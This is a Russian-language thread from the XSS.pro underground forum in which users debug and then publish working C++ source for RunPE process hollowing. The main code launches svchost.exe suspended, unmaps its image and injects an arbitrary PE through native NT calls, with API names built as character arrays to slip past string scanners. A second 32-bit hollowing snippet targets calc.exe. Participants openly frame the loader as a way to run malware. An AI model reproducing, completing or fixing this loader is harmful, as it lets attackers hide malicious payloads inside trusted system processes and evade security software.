• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите с RunPE (Process Hollowing) x32->x64

В процес хакере кстати говоря после всех изменений начал отображаться бинарь.Посмотреть вложение 30162
Ещё здесь странная тема, потому что адрес в Rcx превышает последний адрес в бинарнике инжекченом. Мне кажется в этом дело.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как делаем - выделяем память и копируем по адресу 0х00400000, потому что иначе малварь не будет работать (имею ввиду без правки релоков)
Да, но в PEB'ах будет прописан ImageBase жертвы и загрузчик не будет обрабатывать инмпорты и настраивать всякую другую чушь PEшную, если ImageBase не поправить. ImageBase в PEB'ах имеется ввиду, а не в PE-заголовках.

будет ли корректно работать 32 битный бинарь, который загружен по адресу , превышающему 32 битное число ? мб грузить все же по его ImageBase ?
Это не имеет смысла делать, твой бинарник не поймет базовые адреса в 32-битном режиме, любая абсолютная адресация данных или кода будет некорректна.

Ещё здесь странная тема, потому что адрес в Rcx превышает последний адрес в бинарнике инжекченом. Мне кажется в этом дело.
Так выведи их вместе с размерами данных и залей сюда вывод. Дело не в разрядности, возможно, что они просто некорректные и ссылаются на что-то некорректное. Или что сейчас не работает, я запутался.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Что именно вывести?
Ну секцию, с какого адреса ты пишешь, в какой адрес ты пишешь, размер, который ты пишешь. У тебя продолжает NtWriteProcessMemory валиться со статусом partial copy?
 
Ну секцию, с какого адреса ты пишешь, в какой адрес ты пишешь, размер, который ты пишешь. У тебя продолжает NtWriteProcessMemory валиться со статусом partial copy?
У тебя продолжает NtWriteProcessMemory валиться со статусом partial copy?
Пофиксил эту проблему и написал об этом несколькими постами выше.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)(cCTX64->Rcx + (sizeof(DWORD64)*2)), (DWORD64)&inhNtHeader64->OptionalHeader.ImageBase, sizeof(DWORD64), (DWORD64)NULL
А с чего ты взял, что в X64 контексте указатель на PEB в RCX'е лежит? Вроде в RDX'е должен быть, не? В RCX'е адрес точки входа должен лежать.
 
А с чего ты взял, что в X64 контексте указатель на PEB в RCX'е лежит? Вроде в RDX'е должен быть, не? В RCX'е адрес точки входа должен лежать.
On a 64 bit process, rdx is pointing to the TIB, and rcx is pointing to the entry point
 
Пожалуйста, обратите внимание, что пользователь заблокирован
On a 64 bit process, rdx is pointing to the TIB, and rcx is pointing to the entry point
Ну, как бы я об этом и говорю, я даже строчку вывел, где у тебя код неправильный. Давай жирным выделю, чтобы было понятнее:
X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)(cCTX64->Rcx + (sizeof(DWORD64)*2)), (DWORD64)&inhNtHeader64->OptionalHeader.ImageBase, sizeof(DWORD64), (DWORD64)NULL
 
Последнее редактирование:
Ну, как бы я об этом и говорю, я даже строчку вывел, где у тебя код неправильный. Давай жирным выделю, чтобы было понятнее:
Ура! Всё заработало!) Огромное спасибо всем кто помог, особенно тебе и winhost. Реакцию пока не могу поставить, ибо лимит уже заюзал, чуть позже весь лимит всажу в твои посты)) А так вот готовый код для тех кому нужен будет:
C++:
#include "cRunPE.h"
#include "wow64ext.h"
#include <winternl.h>

#define RUNPE_FAILED 1



INT RunPE(LPBYTE lpImage, LPSTR pszParams)
{
    IMAGE_DOS_HEADER* idhDOSHeader;
    IMAGE_NT_HEADERS* inhNtHeader;
    IMAGE_NT_HEADERS64* inhNtHeader64;
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION pInfo;
    STARTUPINFOA sInfo;

    nApi::fpMemset(&sInfo, NULL, sizeof(sInfo));
    nApi::fpMemset(&pInfo, NULL, sizeof(pInfo));

    CONTEXT* cCTX;
    CONTEXT64* cCTX64;

    DWORD* dwImageBase;
    DWORD64* dwImageBase64;
    LPVOID lpImageBase;
 


    INT iCount;

    idhDOSHeader = (PIMAGE_DOS_HEADER)(lpImage);

    if (nApi::isX64OS)
    {
        inhNtHeader64 = (PIMAGE_NT_HEADERS64)(DWORD(lpImage) + idhDOSHeader->e_lfanew);
      
        if (inhNtHeader64->Signature != IMAGE_NT_SIGNATURE)
            return RUNPE_FAILED;

        cCTX64 = (CONTEXT64*)nApi::fpVirtualAlloc(NULL, sizeof(cCTX64), MEM_COMMIT, PAGE_READWRITE);
        cCTX64->ContextFlags = CONTEXT_FULL;

        if (nApi::lpVersionInformation.dwMajorVersion != 5) {
            PVOID OldValue = NULL;
            nApi::fpWow64DisableWow64FsRedirection(&OldValue);
        }

        nApi::fpCreateProcessA(nStr::pszSvchostPath, pszParams, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); // nStr::pszSvchostPath = "C:\\Windows\\System32\\svchost.exe";

        DWORD64 hNtdll = getNTDLL64();
        CHAR pszNtGetContextThread[] = { 'N', 't', 'G', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
        CHAR pszNtReadVirtualMemory[] = { 'N', 't', 'R', 'e', 'a', 'd', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
        CHAR pszNtUnmapViewOfSection[] = { 'N', 't', 'U', 'n', 'm', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
        CHAR pszNtAllocateVirtualMemory[] = { 'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
        CHAR pszNtResumeThread[] = { 'N', 't', 'R', 'e', 's', 'u', 'm', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
        CHAR pszNtWriteVirtualMemory[] = { 'N', 't', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
        CHAR pszNtSetContextThread[] = { 'N', 't', 'S', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };


        DWORD64 MyNtGetContextThread = GetProcAddress64(hNtdll, pszNtGetContextThread);
        DWORD64 MyNtReadVirtualMemory = GetProcAddress64(hNtdll, pszNtReadVirtualMemory);
        DWORD64 MyNtUnmapViewOfSection = GetProcAddress64(hNtdll, pszNtUnmapViewOfSection);
        DWORD64 MyNtAllocateVirtualMemory = GetProcAddress64(hNtdll, pszNtAllocateVirtualMemory);
        DWORD64 MyNtResumeThread = GetProcAddress64(hNtdll, pszNtResumeThread);
        DWORD64 MyNtWriteVirtualMemory = GetProcAddress64(hNtdll, pszNtWriteVirtualMemory);
        DWORD64 MyNtSetContextThread = GetProcAddress64(hNtdll, pszNtSetContextThread);


        DWORD64 dwRet64 = 0;

        DWORD64 lpImageBase64 = 0;
      
        dwRet64 = X64Call(MyNtGetContextThread, 2, (DWORD64)pInfo.hThread, (DWORD64)((CONTEXT64*)cCTX64));
        if (NT_SUCCESS(dwRet64))
        {
            dwRet64 = X64Call(MyNtReadVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)(cCTX64->Rdx + (sizeof(DWORD64) * 2)), (DWORD64)(&lpImageBase64), (DWORD64)8, (DWORD64)NULL);
            if (!NT_SUCCESS(dwRet64))
                return RUNPE_FAILED;

            if (DWORD64(lpImageBase64) == inhNtHeader64->OptionalHeader.ImageBase)
            {
                dwRet64 = X64Call(MyNtUnmapViewOfSection, 2, (DWORD64)pInfo.hProcess, (DWORD64)lpImageBase64);
                if (!NT_SUCCESS(dwRet64))
                    return RUNPE_FAILED;     
            }
          
            DWORD64 mem = inhNtHeader64->OptionalHeader.ImageBase;
            DWORD64 tmpSize = inhNtHeader64->OptionalHeader.SizeOfImage;
            dwRet64 = X64Call(MyNtAllocateVirtualMemory, 6, (DWORD64)pInfo.hProcess, (DWORD64)&mem, (DWORD64)0, (DWORD64)&tmpSize, (DWORD64)(MEM_COMMIT | MEM_RESERVE), (DWORD64)PAGE_EXECUTE_READWRITE);

            if (!mem || !NT_SUCCESS(dwRet64)) {
                X64Call(MyNtResumeThread, (DWORD64)2, (DWORD64)pInfo.hThread, 0);
                return RUNPE_FAILED;
            }
          
          
            dwRet64 = X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)mem, (DWORD64)lpImage, (DWORD64)inhNtHeader64->OptionalHeader.SizeOfHeaders, (DWORD64)NULL);
            if (!NT_SUCCESS(dwRet64)) {
                X64Call(MyNtResumeThread, (DWORD64)2, (DWORD64)pInfo.hThread, 0);
                return RUNPE_FAILED;
            }
          
          
            
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(inhNtHeader64);
            for (int section = 0; section < inhNtHeader64->FileHeader.NumberOfSections; section++) {
                dwRet64 = X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, DWORD64(DWORD64(mem) + pSectionHeader[section].VirtualAddress), DWORD64(DWORD64(lpImage) + pSectionHeader[section].PointerToRawData), (DWORD64)pSectionHeader[section].SizeOfRawData, (DWORD64)NULL);
            }

            /*for (int section = 0; section < inhNtHeader64->FileHeader.NumberOfSections; section++) {
                SectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)lpImage + idhDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64) + (section * sizeof(IMAGE_SECTION_HEADER)));
                dwRet64 = X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)((LPBYTE)mem + SectionHeader->VirtualAddress), (DWORD64)((LPBYTE)lpImage + SectionHeader->PointerToRawData), (DWORD64)SectionHeader->SizeOfRawData, (DWORD64)NULL);
                if (!NT_SUCCESS(dwRet64)) {
                    char aa[20]; wsprintfA(aa, "%d", dwRet64);
                    MessageBoxA(0, (LPSTR)SectionHeader->Name, aa, 0);
                }
            }*/
          
            cCTX64->Rcx = (DWORD64)((LPBYTE)mem + inhNtHeader64->OptionalHeader.AddressOfEntryPoint);
          
            X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)(cCTX64->Rdx + (sizeof(DWORD64)*2)), (DWORD64)&inhNtHeader64->OptionalHeader.ImageBase, sizeof(DWORD64), (DWORD64)NULL);

            X64Call(MyNtSetContextThread, 2, (DWORD64)pInfo.hThread, (DWORD64)cCTX64);

            X64Call(MyNtResumeThread, 2, (DWORD64)pInfo.hThread, (DWORD64)NULL);
          
        }

    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
IPirateS6 поставил за тебя лайки )

@winhost,DildoFagins все равно не пойму, как RunPE работает при разных imagebase. В плане, без правки релоков.

Дайте такой пример , имею ввиду обычные 32 бита. Вот копипаст откуда-то с форумов

C-подобный:
BOOL bResult = FALSE;
    STARTUPINFOW s_i = { 0 };
    PROCESS_INFORMATION p_i = { 0 };
    s_i.cb = sizeof(STARTUPINFOW);
    WCHAR lpApp[] = L"calc.exe";

    bResult = CreateProcessW(NULL, lpApp, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &s_i, &p_i);
    if (!bResult)
    {
        err("createprocess", GetLastError());
        return 1;
    }

    CONTEXT Context;
    DWORD TargetImageBase;
    
    Context.ContextFlags = CONTEXT_FULL;
    bResult = GetThreadContext(p_i.hThread, &Context);
    if (bResult == FALSE)
    {
        err("GetThreadContext",GetLastError());
        return 3;
    }

bResult = ReadProcessMemory(p_i.hProcess, (DWORD)Context.Ebx + 8, &TargetImageBase, 4, NULL);
    if (bResult == FALSE)
    {
        err("ReadProcessMemory", GetLastError());
        return 4;
    }


    typedef LONG(NTAPI * pfnNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
    pfnNtUnmapViewOfSection xNtUnmapViewOfSection;
    xNtUnmapViewOfSection = (pfnNtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");


    HANDLE hFile = CreateFileW(L"test.exe", GENERIC_READ,0, NULL, OPEN_EXISTING, 0, 0);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        err("CreateFile",GetLastError());
        return 5;
    }

    DWORD dwSize = GetFileSize(hFile, 0);
    DWORD dwBytesRead;
    PBYTE pBuffer = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY | HEAP_NO_SERIALIZE,dwSize);
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
    CloseHandle(hFile);
    PIMAGE_SECTION_HEADER pImageSectionHeader;

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuffer;
    if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
    {
        PIMAGE_NT_HEADERS32 pNTHeaders = (PIMAGE_NT_HEADERS)(pBuffer + pDosHeader->e_lfanew);
        if (pNTHeaders->Signature == IMAGE_NT_SIGNATURE)
        {
            LONG nt = xNtUnmapViewOfSection(p_i.hProcess, TargetImageBase);
            //nt = xNtUnmapViewOfSection(p_i.hProcess, pNTHeaders->OptionalHeader.ImageBase);
            if (nt != 0)
            {
                err("NtUnmapViewOfSection err", nt);
                return 6;
            }
            LPVOID pImageBase = VirtualAllocEx(p_i.hProcess, /*TargetImageBase*/pNTHeaders->OptionalHeader.ImageBase, pNTHeaders->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
            if (pImageBase == NULL)
            {
                err("vm alloc", GetLastError());
                return 6;
            }

            WriteProcessMemory(p_i.hProcess, pImageBase, pBuffer, pNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
            for (unsigned int cnt = 0; cnt < pNTHeaders->FileHeader.NumberOfSections; cnt++)
            {
                pImageSectionHeader = (PIMAGE_SECTION_HEADER)(pBuffer + pDosHeader->e_lfanew + 248 + (cnt * 40));
                WriteProcessMemory(p_i.hProcess, (LPBYTE)pImageBase + pImageSectionHeader->VirtualAddress, pBuffer + pImageSectionHeader->PointerToRawData, pImageSectionHeader->SizeOfRawData, NULL);
            }
            WriteProcessMemory(p_i.hProcess, (DWORD)Context.Ebx + 8, &pNTHeaders->OptionalHeader.ImageBase, 4, NULL);
            Context.Eax = (DWORD)pImageBase + pNTHeaders->OptionalHeader.AddressOfEntryPoint;
            SetThreadContext(p_i.hThread, &Context);
            ResumeThread(p_i.hThread);


        }
    }

    ExitProcess(0);

на вид вроде все верно , но без правки релоков не работает при разных imagebase. В архиве test.exe / calc.exe ,если кто хочет потестить.
 

Вложения

  • Debug.zip
    190.9 КБ · Просмотры: 7
Пожалуйста, обратите внимание, что пользователь заблокирован
@winhost,DildoFagins все равно не пойму, как RunPE работает при разных imagebase. В плане, без правки релоков
Без правки релоков и не будет работать, только по указанному в PE-заголовках базовому адресу будет работать. Ну к слову у 64-битных бинарей очень большой процент кода позиционно независимый, из-за того, что появилась RIP-based адрессация (или как-то так называется), часто можно и без релоков обойтись.

Для 32-битных бинарей можно в принципе жертву расмаппировать, если базовые адреса одинаковые.
 
Оставлю своё скромное мнение. Такими примитивами ничего не загрузить стабильно, это невозможно. Загрузчик нт не просто так большой и сложный, в два десятка строк это не решить. Не так давно я рассматривал варик рипа системки, можно сделать за вечер.

А есчо реализация требуется в зависимости от целей, я нп хотел массив аверов прогрузить что бы там индексировать сигны. Но годного лодера под такую задачу не нашлось, просто потому что авер вирта не может пройти базовые апи, строковые функи и тп. При этом есчо и лимит по инструкциям.

Как тут гадание для меня ну просто дико, отладчиком пройти не годится посмотреть по итерациям чего куда пишется... я это понять не могу, впрочем не важно. Заработало заколхозил - сработает на одном из сотни апп, остальное когда то отвалится.
 
Немножко не в тему наверное, но думаю будет полезно и не безынтересно в рамках темы. Недавно попалась полезная утилита но в виде .exe без релоков, да еще и с гуи. А мне функционал нужен был в виде шеллкода. Просто надергать из иды асма и компильнуть было не вариант, уж оч большая тулза да еще и с авторскими хитрожопиями. Поэтому стояла задача, сгенерировать релоки, отрезать гуи, сделать раннер. Первым делом надо было решать с релоками, без них затея лишается смысла, Решалось это через генерацию map и lst файлов в ida, потом питон парсер на основе них и генерация секции релоков. Далее ребейз модуля для проверки что релоки правильно получены и все работает. На данном этапе нужен виндебаг, ловим косячки и исправляем. Потом отрезание гуи и навешивание своего интерфейса на нужные классы. Задача скорее кропотливая чем сложная, требует некоторых навыков реверса. Но все реально.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Загрузчик нт не просто так большой и сложный, в два десятка строк это не решить.
а как это решение ? https://xss.pro/threads/42999/post-267514
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх